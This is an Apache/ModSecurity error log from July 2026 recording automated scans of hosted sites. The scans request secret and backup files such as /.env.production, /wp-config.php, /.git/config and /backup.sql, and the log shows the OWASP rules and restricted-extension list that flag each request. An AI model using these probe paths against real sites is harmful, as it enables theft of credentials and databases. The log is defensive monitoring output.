[Fri Jul 17 08:28:26.472928 2026] [security2:error] [pid 1993998:tid 1993998] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaUmidQp3SsqeycPEswgAAAAo"]
[Fri Jul 17 08:28:26.634661 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.205.41.129:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaUhAi3pC6yjXGNq19VQAAAAU"]
[Fri Jul 17 08:28:26.635024 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaUhAi3pC6yjXGNq19VQAAAAU"]
[Fri Jul 17 08:28:26.635315 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaUhAi3pC6yjXGNq19VQAAAAU"]
[Fri Jul 17 08:28:26.675472 2026] [security2:error] [pid 2013797:tid 2013797] [client 34.205.41.129:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaUlh1WDijTxd1xw5I9wAAAAc"]
[Fri Jul 17 08:28:26.675889 2026] [security2:error] [pid 2013797:tid 2013797] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaUlh1WDijTxd1xw5I9wAAAAc"]
[Fri Jul 17 08:28:26.676530 2026] [security2:error] [pid 2013797:tid 2013797] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaUlh1WDijTxd1xw5I9wAAAAc"]
[Fri Jul 17 08:28:26.702021 2026] [security2:error] [pid 2013809:tid 2013809] [client 34.205.41.129:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaUkgVnBK6wAv37w6oxwAAABQ"]
[Fri Jul 17 08:28:26.702256 2026] [security2:error] [pid 2013809:tid 2013809] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaUkgVnBK6wAv37w6oxwAAABQ"]
[Fri Jul 17 08:28:26.702550 2026] [security2:error] [pid 2013809:tid 2013809] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaUkgVnBK6wAv37w6oxwAAABQ"]
[Fri Jul 17 08:28:26.716447 2026] [security2:error] [pid 2014279:tid 2014279] [client 34.205.41.129:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaUkz_ZDvgWqiMlMbLVwAAAB0"]
[Fri Jul 17 08:28:26.716892 2026] [security2:error] [pid 2014279:tid 2014279] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaUkz_ZDvgWqiMlMbLVwAAAB0"]
[Fri Jul 17 08:28:26.717355 2026] [security2:error] [pid 2014279:tid 2014279] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaUkz_ZDvgWqiMlMbLVwAAAB0"]
[Fri Jul 17 08:28:26.816605 2026] [security2:error] [pid 1993619:tid 1993619] [client 34.205.41.129:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaUo1dLClkUfK_dfHhlQAAAAI"]
[Fri Jul 17 08:28:26.817276 2026] [security2:error] [pid 1993619:tid 1993619] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaUo1dLClkUfK_dfHhlQAAAAI"]
[Fri Jul 17 08:28:26.817728 2026] [security2:error] [pid 1993619:tid 1993619] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaUo1dLClkUfK_dfHhlQAAAAI"]
[Fri Jul 17 08:28:27.290002 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:38032] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:28:27.311565 2026] [security2:error] [pid 1996894:tid 1996894] [client 34.205.41.129:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaU44Wmn5zySdNNkAk3QAAABM"]
[Fri Jul 17 08:28:27.311866 2026] [security2:error] [pid 1996894:tid 1996894] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaU44Wmn5zySdNNkAk3QAAABM"]
[Fri Jul 17 08:28:27.312179 2026] [security2:error] [pid 1996894:tid 1996894] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaU44Wmn5zySdNNkAk3QAAABM"]
[Fri Jul 17 08:28:27.515589 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.205.41.129:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaUxAi3pC6yjXGNq19VwAAAAU"]
[Fri Jul 17 08:28:27.515992 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaUxAi3pC6yjXGNq19VwAAAAU"]
[Fri Jul 17 08:28:27.516326 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaUxAi3pC6yjXGNq19VwAAAAU"]
[Fri Jul 17 08:28:27.544365 2026] [security2:error] [pid 2005917:tid 2005917] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almaSnf2WrySr2miwA73gwAAABY"]
[Fri Jul 17 08:28:27.651458 2026] [security2:error] [pid 1993573:tid 1993573] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almaS3t8zp89pALg8Q5lDAAAAA4"]
[Fri Jul 17 08:28:28.453274 2026] [security2:error] [pid 1993604:tid 1993604] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almaUIha5y5fYnQ1qRrvxQAAAAE"]
[Fri Jul 17 08:28:28.462636 2026] [security2:error] [pid 1994967:tid 1994967] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almaUEhq6UAnqYko0LpXSQAAABE"]
[Fri Jul 17 08:28:28.549847 2026] [security2:error] [pid 2013828:tid 2013828] [client 34.205.41.129:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaVON_HRgVfO4akvmJ0AAAABg"]
[Fri Jul 17 08:28:28.550248 2026] [security2:error] [pid 2013828:tid 2013828] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaVON_HRgVfO4akvmJ0AAAABg"]
[Fri Jul 17 08:28:28.550576 2026] [security2:error] [pid 2013828:tid 2013828] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaVON_HRgVfO4akvmJ0AAAABg"]
[Fri Jul 17 08:28:28.550635 2026] [security2:error] [pid 2013828:tid 2013828] [client 34.205.41.129:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-global": Permission denied [hostname "www.snehademo.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaVON_HRgVfO4akvmJ0AAAABg"]
[Fri Jul 17 08:28:28.550651 2026] [security2:error] [pid 2013828:tid 2013828] [client 34.205.41.129:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-ip": Permission denied [hostname "www.snehademo.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaVON_HRgVfO4akvmJ0AAAABg"]
[Fri Jul 17 08:28:28.611188 2026] [security2:error] [pid 1993574:tid 1993574] [client 34.205.41.129:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaVN0t9Kb_MdNxrg6-0AAAAAM"]
[Fri Jul 17 08:28:28.611452 2026] [security2:error] [pid 1993574:tid 1993574] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaVN0t9Kb_MdNxrg6-0AAAAAM"]
[Fri Jul 17 08:28:28.611733 2026] [security2:error] [pid 1993574:tid 1993574] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaVN0t9Kb_MdNxrg6-0AAAAAM"]
[Fri Jul 17 08:28:28.749334 2026] [security2:error] [pid 2008451:tid 2008451] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almaUAPhWp7RzB65h36e2gAAAA0"]
[Fri Jul 17 08:28:28.770352 2026] [security2:error] [pid 2014285:tid 2014285] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almaUTPV8F2Ufi3kXba6sAAAAB4"]
[Fri Jul 17 08:28:28.869543 2026] [security2:error] [pid 2005917:tid 2005917] [client 34.205.41.129:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaVHf2WrySr2miwA73hAAAABY"]
